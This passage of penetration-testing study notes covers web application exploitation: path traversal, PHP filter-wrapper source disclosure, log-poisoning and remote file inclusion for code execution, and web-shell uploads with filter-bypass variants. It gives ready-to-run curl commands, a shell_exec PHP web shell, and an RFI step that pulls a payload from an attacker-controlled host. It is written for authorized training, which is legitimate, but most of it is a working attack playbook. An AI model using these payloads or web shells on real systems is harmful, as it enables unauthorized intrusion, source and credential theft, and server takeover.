2.2 Turn application weaknesses into access
Strategy map | Master Notes | Operational index | Cheatsheets
Prove the primitive first: file read, interpreted inclusion, write, query influence, authorization change or browser/server execution. Then validate the additional condition required to turn that primitive into useful access.
Speedrun blocks: 4. Documented methods: 25.
Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.
2.2.1 First pass: tools and findings
Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.
2.2.1.1 Test the primitive exposed by the real request
Use this command branch only when an input reaches a utility/command context. Match the observed OS/parser.
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
- If Target UID/name appears only in the test response: Verify the destination and process identity; then choose a viable session route. → Verify command execution, host and represented identity.
- If Only a repeatable controlled delay is visible: Use the blind verification variants; one slow request proves nothing. → Prove visible or blind operating-system command injection.
- Otherwise: Input is only reflected: investigate another mapped input or mechanism. → Map parameters, API methods, objects and writable properties.
2.2.1.2 For file inputs, prove actual file read
Keep session and request method intact; choose a target file appropriate to the observed platform.
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
- If Recognizable file contents: Retrieve relevant application config/source; classify any recovered material. → Classify the artifact and its identity context.
- If A PHP include sink accepts a filter wrapper: Test source disclosure separately from file execution. → Disclose PHP source through an inclusion wrapper.
- Otherwise: Only an error/template/status changed: return to request mapping; do not claim a file read. → Map parameters, API methods, objects and writable properties.
2.2.1.3 For uploads, locate the stored file and its handler
Acceptance, storage, retrieval and server-side execution are separate tests.
printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
- If A controlled file is stored and retrieved: Check extension, interpreter and executable handler before choosing an execution payload. → Execute an uploaded file through a compatible handler.
- If The upload destination path is controllable: Identify the consumer that will use that exact location. → Use upload path control to reach a useful consumer.
- Otherwise: No compatible handler/consumer: treat it as storage and investigate another application boundary. → Cross role, function or session authorization boundaries.
2.2.2 Discovery workflow
Start from a valid request produced by web mapping. Preserve account, cookies, method and normal input before changing one property.
Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.
- Locate file-related functions and distinguish reads, interpreted includes and writes: Read files through directory traversal; Disclose PHP source through an inclusion wrapper; Establish upload acceptance, storage and retrieval.
- Compare controlled commands or SQL predicates only in a known request context: Prove visible or blind operating-system command injection; Establish SQL query influence and DBMS context.
- Use authorized role/object comparisons to identify missing server-side checks: Cross an object-ownership boundary; Cross role, function or session authorization boundaries; Modify a protected property through excessive writable fields.
- Prove the primitive, then inspect the additional execution/credential/consumer condition: Execute an uploaded file through a compatible handler; Convert database rights into a file or operating-system effect; Classify the artifact and its identity context.
- Use parser/template/component paths only after their technology prerequisites appear: Prove server-side template evaluation and identify its engine; Use an XML parser's external-entity behavior for bounded file read; Test structured NoSQL operator injection with identity controls; Match PHP deserialization gadgets to installed dependencies; Validate unsafe YAML object construction; Test Shellshock only through a confirmed CGI-to-Bash chain.
Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.
2.2.3 Method families
- File read and interpreted inclusion: Read files through directory traversal, Disclose PHP source through an inclusion wrapper, Turn controlled local file content into inclusion execution.
- File writes and consuming handlers: Establish upload acceptance, storage and retrieval, Execute an uploaded file through a compatible handler, Use upload path control to reach a useful consumer.
- Command and database injection: Prove visible or blind operating-system command injection, Establish SQL query influence and DBMS context, Test a SQL-backed authentication bypass, Extract data through UNION and visible SQL results, Infer SQL data through boolean or time-based differences, Convert database rights into a file or operating-system effect, Conditional: validate an out-of-band SQL request channel.
- Application authorization and browser context: Cross an object-ownership boundary, Cross role, function or session authorization boundaries, Modify a protected property through excessive writable fields, Execute browser code and validate a useful same-origin action.
- Product features and server-side requests: Use WordPress component evidence and authorized administration features, Use server-side requests to inspect reachable internal behavior.
- Conditional parser, template and component paths: Prove server-side template evaluation and identify its engine, Use an XML parser's external-entity behavior for bounded file read, Test structured NoSQL operator injection with identity controls, Match PHP deserialization gadgets to installed dependencies, Validate unsafe YAML object construction, Test Shellshock only through a confirmed CGI-to-Bash chain.
2.2.4 Choose a method
| Method | Recognition clue | Required access | Enabling conditions | Resulting capability |
|---|---|---|---|---|
| Read files through directory traversal | A download/path parameter or URL segment influences a local filename | A reproducible application request and a controlled input or access-context comparison | Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file | A verified file-read primitive and relevant source/configuration/credential artifacts |
| Disclose PHP source through an inclusion wrapper | A PHP page/include parameter and possible access to local application files | A reproducible application request and a controlled input or access-context comparison | A PHP inclusion sink accepts the filter wrapper and the process can read the source | Decoded application source without requiring its normal rendered behavior |
| Turn controlled local file content into inclusion execution | A confirmed evaluating include and a log or file containing attacker-controlled bytes | A reproducible application request and a controlled input or access-context comparison | Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available | Verified command execution under the inclusion process identity |
| Establish upload acceptance, storage and retrieval | An upload/import/attachment function | A reproducible application request and a controlled input or access-context comparison | A valid upload request and permitted account; the server accepts and stores controlled bytes | A verified write/retrieval primitive with a known server-side identifier |
| Execute an uploaded file through a compatible handler | Uploads are retrievable and the application stack suggests an executable file handler | A reproducible application request and a controlled input or access-context comparison | Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted | Verified application-server command execution |
| Use upload path control to reach a useful consumer | A multipart filename/import path appears to influence the filesystem destination | A reproducible application request and a controlled input or access-context comparison | Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file | A verified destination write and, when separately enabled, an authentication or execution transition |
| Prove visible or blind operating-system command injection | An input appears in a command-like operation or causes shell-dependent behavior | A reproducible application request and a controlled input or access-context comparison | Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof | Verified command execution or a repeatable command-dependent blind effect |
| Establish SQL query influence and DBMS context | Database errors or controlled true/false response differences | A reproducible application request and a controlled input or access-context comparison | Input reaches a SQL query; a valid request and stable response baseline exist | A validated injection context and a chosen manual extraction approach |
| Test a SQL-backed authentication bypass | A login/query path has confirmed compatible SQL influence | A reproducible application request and a controlled input or access-context comparison | The injected condition changes the authentication query and the application accepts the resulting account/session | A verified application authentication transition |
| Extract data through UNION and visible SQL results | An injectable SELECT renders query results | A reproducible application request and a controlled input or access-context comparison | Compatible column count/types, a reflected result position and rights to the requested data | Visible database identity, schema and selected useful data |
| Infer SQL data through boolean or time-based differences | Query influence exists but rows are not rendered | A reproducible application request and a controlled input or access-context comparison | A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests | Selected database facts recovered through a reproducible inference channel |
| Convert database rights into a file or operating-system effect | Confirmed SQL control plus database file, execution or impersonation privileges | A reproducible application request and a controlled input or access-context comparison | DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer | A verified server-side file operation or command effect |
| Conditional: validate an out-of-band SQL request channel | SQL execution is plausible but in-band output is unavailable | A reproducible application request and a controlled input or access-context comparison | A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver | A verified SQL-dependent outbound request, with its data and transport limits established |
| Cross an object-ownership boundary | A request selects an object by ID/path and two authorized ownership contexts are available | A reproducible application request and a controlled input or access-context comparison | The server accepts a lower-privilege identity's request for an object it should not access | Verified unauthorized object read or modification |
| Cross role, function or session authorization boundaries | Administrative actions/routes or request methods visible from a lower role | A reproducible application request and a controlled input or access-context comparison | The lower-role identity can invoke a protected server-side action without its required authorization | A verified application privilege/action transition |
| Modify a protected property through excessive writable fields | API objects expose role, ownership or security-sensitive properties | A reproducible application request and a controlled input or access-context comparison | The server binds an untrusted property to a persistent security-relevant field without checking permission | A verified unauthorized property or role change |
| Execute browser code and validate a useful same-origin action | Untrusted input reaches an executable HTML/JavaScript context | A reproducible application request and a controlled input or access-context comparison | Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state | Verified browser-context execution and, when enabled, an application privilege/action transition |
| Use WordPress component evidence and authorized administration features | WordPress paths/components or an accepted application administrator credential | A reproducible application request and a controlled input or access-context comparison | Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked | A component-specific exploit candidate or verified administrative feature-to-execution path |
| Use server-side requests to inspect reachable internal behavior | URL import, preview, webhook or fetch behavior | A reproducible application request and a controlled input or access-context comparison | The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource | A confirmed server-side request and a bounded internal read/request capability |
| Prove server-side template evaluation and identify its engine | Controlled input appears in a server-rendered template, preview, email or report | A reproducible application request and a controlled input or access-context comparison | The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function | A verified template-evaluation primitive and an engine/version-specific next test |
| Use an XML parser's external-entity behavior for bounded file read | A working XML request reaches a server-side parser that accepts a controlled document or field | A reproducible application request and a controlled input or access-context comparison | External entity or XInclude processing is enabled and the parser identity can read the selected file | A verified parser-side file read or a precisely bounded blind parser/network effect |
| Test structured NoSQL operator injection with identity controls | A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query | A reproducible application request and a controlled input or access-context comparison | The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type | A verified query or authentication transition with a known resulting identity |
| Match PHP deserialization gadgets to installed dependencies | Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize | A reproducible application request and a controlled input or access-context comparison | Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes | A verified gadget effect in the application process context |
| Validate unsafe YAML object construction | Source or errors identify server-side Python YAML loading of controlled content | A reproducible application request and a controlled input or access-context comparison | The application uses an unsafe PyYAML loader that permits the selected Python object constructor | A verified command or object-construction effect in the loader process |
| Test Shellshock only through a confirmed CGI-to-Bash chain | A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family | A reproducible application request and a controlled input or access-context comparison | HTTP-derived environment data reaches an affected Bash process and the selected command is available | A verified command effect under the CGI process identity |
2.2.5 Read files through directory traversal
Choose when: A download/path parameter or URL segment influences a local filename · Result: A verified file-read primitive and relevant source/configuration/credential artifacts
Blocks: 4. Operational procedure | Quick sheet
2.2.5.1 Purpose and result
A verified file-read primitive and relevant source/configuration/credential artifacts.
2.2.5.2 Recognition clues
A download/path parameter or URL segment influences a local filename.
2.2.5.2.1 Find the clue from your starting access
Where to investigate: Find real download/preview/export requests in the behavior map; inspect which filename/path values the normal request accepts.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require recognizable target-file content and controls that exclude a reflected input or static error page.
Failure/next check: An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.
curl -sk -b cookies.txt -D - 'http://TARGET:PORT/download?file=report.pdf'
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
GET /download?file=report.pdf
Content-Disposition: attachment; filename=report.pdf
Body: EXPECTED_REPORT_BYTES
Recognize this detail: An application-controlled file selection is the cue to test path confinement; it is not yet arbitrary read.
Still missing before method selection: Request a known target-platform file through the real file parameter/path and compare with the normal response. Require recognizable file contents; a reflected filename, error or status change is not a read.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | A controlled out-of-directory request returns the intended target bytes: the traversal method is available. |
| Ruled out in this context | An allowlist rejects paths and only serves approved report IDs: this path-selection context is not a traversal route. |
| Inconclusive | An error mentioning a path shows influence but not read access; compare normal/control requests and permission/path depth. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.5.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file.
2.2.5.4 Discover and verify prerequisites
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
2.2.5.5 Why it works
Traversal changes path resolution. URL decoding, application normalization and curl path normalization are separate layers; readable bytes do not establish interpreted inclusion.
2.2.5.6 Execute and choose variants
Linux proof:
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
Windows proof:
curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH
Decisive output: recognizable contents of the requested target file.
200 OK, a changed template or a filename reflected in an error is not proof.
2.2.5.6.1 Variant — traversal occurs in the URL path
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'
--path-as-is prevents curl from collapsing .. before sending the request.
2.2.5.6.2 Variant — basic normalization/filter tests
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd
Try these only after a plain baseline. Preserve the exact decoding layer that accepted the value.
Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.
2.2.5.7 Worked example — hypothetical
Observation: a download function accepts a filename. Test: request a recognizable system file with one controlled traversal. Illustrative output: expected account-file content. Interpretation: file read is confirmed; investigate relevant application configuration.
2.2.5.8 Verify the result
Require recognizable target-file content and controls that exclude a reflected input or static error page.
2.2.5.9 Failure and fallback
An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.
2.2.5.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| A PHP page/include parameter and possible access to local application files | A PHP inclusion sink accepts the filter wrapper and the process can read the source | §2.2.6 — Disclose PHP source through an inclusion wrapper |
| JavaScript endpoints, backup names, exposed configuration or Git metadata | Readable application artifact or a complete recoverable repository; preserve the public-source scope | §2.1.8 — Inspect source, backups, configuration and repository artifacts |
2.2.6 Disclose PHP source through an inclusion wrapper
Choose when: A PHP page/include parameter and possible access to local application files · Result: Decoded application source without requiring its normal rendered behavior
Blocks: 4. Operational procedure | Quick sheet
2.2.6.1 Purpose and result
Decoded application source without requiring its normal rendered behavior.
2.2.6.2 Recognition clues
A PHP page/include parameter and possible access to local application files.
2.2.6.2.1 Find the clue from your starting access
Where to investigate: Inspect the normal page selector, PHP technology evidence and any readable source/configuration clue obtained during mapping.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: A PHP inclusion sink accepts the filter wrapper and the process can read the source
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Decode the response and identify real target source; normal HTML rendering does not prove source disclosure.
Failure/next check: Wrapper filtering, missing path or a non-PHP read operation can defeat this route; retain ordinary traversal/source-disclosure evidence separately.
curl -sk -D - 'http://TARGET:PORT/index.php?page=about'
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Normal link: index.php?page=about
Error for invalid page: include(PAGE.php): failed to open stream
Recognize this detail: An include-related error suggests an evaluating PHP sink, unlike an ordinary file-download function.
Still missing before method selection: Verify that the actual sink accepts a filter wrapper and returns decodable target source; errors alone do not prove it.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The wrapper yields source that decodes correctly: use that source-disclosure method. |
| Ruled out in this context | The endpoint reads raw bytes through a wrapper-incompatible API: reject this PHP-inclusion hypothesis. |
| Inconclusive | PHP branding without sink evidence leaves inclusion unproved; investigate normal request/source behavior first. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.6.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A PHP inclusion sink accepts the filter wrapper and the process can read the source.
2.2.6.4 Discover and verify prerequisites
curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
2.2.6.5 Why it works
The filter wrapper transforms file bytes before inclusion, allowing source disclosure instead of normal PHP evaluation. A generic file-download endpoint may not accept the same wrapper.
2.2.6.6 Execute and choose variants
curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
printf '%s' 'BASE64_DATA' | base64 -d
Prerequisite: a PHP file-inclusion sink that accepts the wrapper. The encoded output must decode to target source; a normal rendered page means the wrapper did not disclose source in that context.
2.2.6.7 Worked example — hypothetical
Observation: direct inclusion renders a page. Test: request its base64-filtered source. Illustrative output: the decoded result contains database connection logic. Interpretation: follow the credential and use source to map the actual sink.
2.2.6.8 Verify the result
Decode the response and identify real target source; normal HTML rendering does not prove source disclosure.
2.2.6.9 Failure and fallback
Wrapper filtering, missing path or a non-PHP read operation can defeat this route; retain ordinary traversal/source-disclosure evidence separately.
2.2.6.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A secret-like value, key file, stored hash, challenge response or ticket | Artifact provenance and format; possible local/domain/application identity and compatible protocol | §3.1.5 — Classify the artifact and its identity context |
| A confirmed evaluating include and a log or file containing attacker-controlled bytes | Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available | §2.2.7 — Turn controlled local file content into inclusion execution |
| An input appears in a command-like operation or causes shell-dependent behavior | Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof | §2.2.11 — Prove visible or blind operating-system command injection |
2.2.7 Turn controlled local file content into inclusion execution
Choose when: A confirmed evaluating include and a log or file containing attacker-controlled bytes · Result: Verified command execution under the inclusion process identity
Blocks: 4. Operational procedure | Quick sheet
2.2.7.1 Purpose and result
Verified command execution under the inclusion process identity.
2.2.7.2 Recognition clues
A confirmed evaluating include and a log or file containing attacker-controlled bytes.
2.2.7.2.1 Find the clue from your starting access
Where to investigate: After a file/include primitive is demonstrated, use readable configuration to locate the actual log and check whether your harmless request marker is present.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require command-specific output distinct from the logged payload and record hostname/identity.
Failure/next check: Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.
curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Readable log excerpt: GET / ... User-Agent=LOG_CANARY
Recognize this detail: The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.
Still missing before method selection: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | Controlled log bytes are evaluated and the bounded identity proof succeeds: use the inclusion-execution chain. |
| Ruled out in this context | The log is only served as inert text: rule out execution through this reader while retaining file disclosure. |
| Inconclusive | No marker may mean a different log, buffered writes or escaped content; inspect configuration before changing payloads. |
If you do not yet have this clue: start with Disclose PHP source through an inclusion wrapper.
2.2.7.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available.
2.2.7.4 Discover and verify prerequisites
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' http://TARGET:PORT/index.php
2.2.7.5 Why it works
LFI alone selects a local file. Execution requires that included bytes be interpreted as code; source displayed as text proves a weaker primitive. Data-wrapper and remote-include variants below have additional URL-inclusion and routing prerequisites.
2.2.7.6 Execute and choose variants
curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as
C:\xampp\apache\logs\access.log.
Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.
2.2.7.6.1 Variant — PHP data wrapper
PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.
2.2.7.6.2 Variant — remote file inclusion
python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.
2.2.7.7 Worked example — hypothetical
Observation: an include can display a readable access log. Test: place a controlled marker, then the minimal interpreter proof. Illustrative output: the second request returns the target execution identity. Interpretation: command execution is proven; map the session path.
2.2.7.8 Verify the result
Require command-specific output distinct from the logged payload and record hostname/identity.
2.2.7.9 Failure and fallback
Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.
2.2.7.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| Linux command execution exists but an interactive channel is needed | A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener | §4.2.6 — Connect a Linux reverse shell through an available interpreter |
| A download/path parameter or URL segment influences a local filename | Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file | §2.2.5 — Read files through directory traversal |
2.2.8 Establish upload acceptance, storage and retrieval
Blocks: 4. Operational procedure | Quick sheet
2.2.8.1 Purpose and result
A verified write/retrieval primitive with a known server-side identifier.
2.2.8.2 Recognition clues
An upload/import/attachment function.
2.2.8.2.1 Find the clue from your starting access
Where to investigate: Browse normal attachment/import/profile functions and capture one accepted harmless multipart upload with its returned identifier.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: A valid upload request and permitted account; the server accepts and stores controlled bytes
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Confirm saved/retrieved bytes and the final identifier/path; a success message alone is insufficient.
Failure/next check: A rejected extension may be client validation, server MIME/content policy or role permission. Preserve a valid benign baseline before changing one property.
printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
HTTP/1.1 201 Created
{"id":"UPLOAD_ID","url":"/files/UPLOAD_ID"}
Recognize this detail: The real upload route, field and response identify a storage/retrieval candidate.
Still missing before method selection: Retrieve the canary independently; establish stored bytes, final name and account/context before testing execution.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The canary is stored and retrievable: a write/retrieval primitive is verified. |
| Ruled out in this context | The server only validates and discards the upload: reject the assumed persistent-write capability. |
| Inconclusive | A success message without a retrieval/path observation leaves persistence unknown. |
If you do not yet have this clue: start with Map functions, roles and normal requests manually.
2.2.8.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: A valid upload request and permitted account; the server accepts and stores controlled bytes.
2.2.8.4 Discover and verify prerequisites
printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
2.2.8.5 Why it works
Accepted upload, stored filename, retrieval route and filesystem location are distinct facts. Server rename and content transformation can change the resulting capability.
2.2.8.6 Execute and choose variants
Create and upload a benign canary:
printf '%s\n' 'UPLOAD_CANARY_7F31' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=probe.txt;type=text/plain' http://TARGET:PORT/upload
Then verify the returned identifier/path and retrieve the bytes.
Record separately: acceptance, server-side name, storage path, retrieval URL, response content type, filesystem write identity and whether the storage location is executable.
2.2.8.7 Worked example — hypothetical
Observation: upload returns an object ID. Test: retrieve it independently. Illustrative output: the unique canary appears but the filename was changed. Interpretation: write/retrieval is established; investigate actual handling before execution.
2.2.8.8 Verify the result
Confirm saved/retrieved bytes and the final identifier/path; a success message alone is insufficient.
2.2.8.9 Failure and fallback
A rejected extension may be client validation, server MIME/content policy or role permission. Preserve a valid benign baseline before changing one property.
2.2.8.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| Uploads are retrievable and the application stack suggests an executable file handler | Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted | §2.2.9 — Execute an uploaded file through a compatible handler |
| A multipart filename/import path appears to influence the filesystem destination | Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file | §2.2.10 — Use upload path control to reach a useful consumer |
| Forms, downloads, exports, account functions or role-specific interfaces | A normal request baseline and the relevant account/role; authorized accounts for role comparisons | §2.1.7 — Map functions, roles and normal requests manually |
2.2.9 Execute an uploaded file through a compatible handler
Choose when: Uploads are retrievable and the application stack suggests an executable file handler · Result: Verified application-server command execution
Blocks: 4. Operational procedure | Quick sheet
2.2.9.1 Purpose and result
Verified application-server command execution.
2.2.9.2 Recognition clues
Uploads are retrievable and the application stack suggests an executable file handler.
2.2.9.2.1 Find the clue from your starting access
Where to investigate: Begin with a verified retrievable upload; inspect final naming, response handling and evidence of the application's actual interpreter.
Discovery action — reference example:
Access/context: A reproducible application request and a controlled input or access-context comparison
Conditions, effects and verification
Requires: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted
Action class: Active weakness validation/exploitation; the selected primitive may read, write or execute.
Stop/verify: Require target command output and identity; acceptance, source download and a 200 status are weaker results.
Failure/next check: Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.
curl -sk -i http://TARGET:PORT/uploads/FILE
Illustrative evidence — synthetic, abbreviated:
The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.
Stored file response:
Content-Type: text/plain
Body: literal uploaded script source
Recognize this detail: A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.
Still missing before method selection: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.
| Outcome after checking | Example and next decision |
|---|---|
| Enabled after validation | The correct final handler executes the minimal proof as the web identity: choose upload-to-execution. |
| Ruled out in this context | The file consistently downloads/displays as source in non-executable storage: rule out execution at this location. |
| Inconclusive | Unknown server rename or storage URL leaves handler selection unresolved. |
If you do not yet have this clue: start with Establish upload acceptance, storage and retrieval.
2.2.9.3 Prerequisites
Starting access: A reproducible application request and a controlled input or access-context comparison. Required conditions: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted.
2.2.9.4 Discover and verify prerequisites
curl -sk -i http://TARGET:PORT/uploads/FILE
2.2.9.5 Why it works
File write crosses into execution only through a consuming interpreter or process. A MIME change may bypass validation while the final storage remains inert.
2.2.9.6 Execute and choose variants
PHP example, only after PHP handler evidence:
printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php
Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.
2.2.9.6.1 Variants — isolate validation layers in Burp Repeater
Test one property at a time:
- bypass client-side checks by replaying the raw multipart request;
- filename case or alternate extension only when the observed server maps it to the interpreter;
- multipart
Content-Typeindependently from filename and content; - magic bytes only when server behavior shows content inspection;
- double extensions/trailing characters only when normalization evidence supports them;
- server rename and final response
Content-Type.
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload
Changing MIME type is a test of validation, not proof of executable handling.
2.2.9.7 Worked example — hypothetical
Observation: a script upload is accepted. Test: request its final URL with a minimal command argument. Illustrative output: source downloads instead of running. Interpretation: execution is not proven; seek another handler or write-consumer chain.
2.2.9.8 Verify the result
Require target command output and identity; acceptance, source download and a 200 status are weaker results.
2.2.9.9 Failure and fallback
Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.
2.2.9.10 Continue from the interpreted result
| Observed result | Check before proceeding | Next numbered section |
|---|---|---|
| A PoC, injected command or remote client reports execution | A functioning execution primitive and an observable output or controlled side effect | §4.2.5 — Verify command execution, host and represented identity |
| Linux command execution exists but an interactive channel is needed | A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener | §4.2.6 — Connect a Linux reverse shell through an available interpreter |
| A multipart filename/import path appears to influence the filesystem destination | Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file | §2.2.10 — Use upload path control to reach a useful consumer |
2.2.10 Use upload path control to reach a useful consumer
Choose when: A multipart filename/import path appears to influence the filesystem destination · Result: A verified destination write and, when separately enabled, an authentication or execution transition
Blocks: 4. Operational procedure | Quick sheet
2.2.10.1 Purpose and result
A verified destination write and, when separately enabled, an authentication or execution transition.
2.2.10.2 Recognition clues
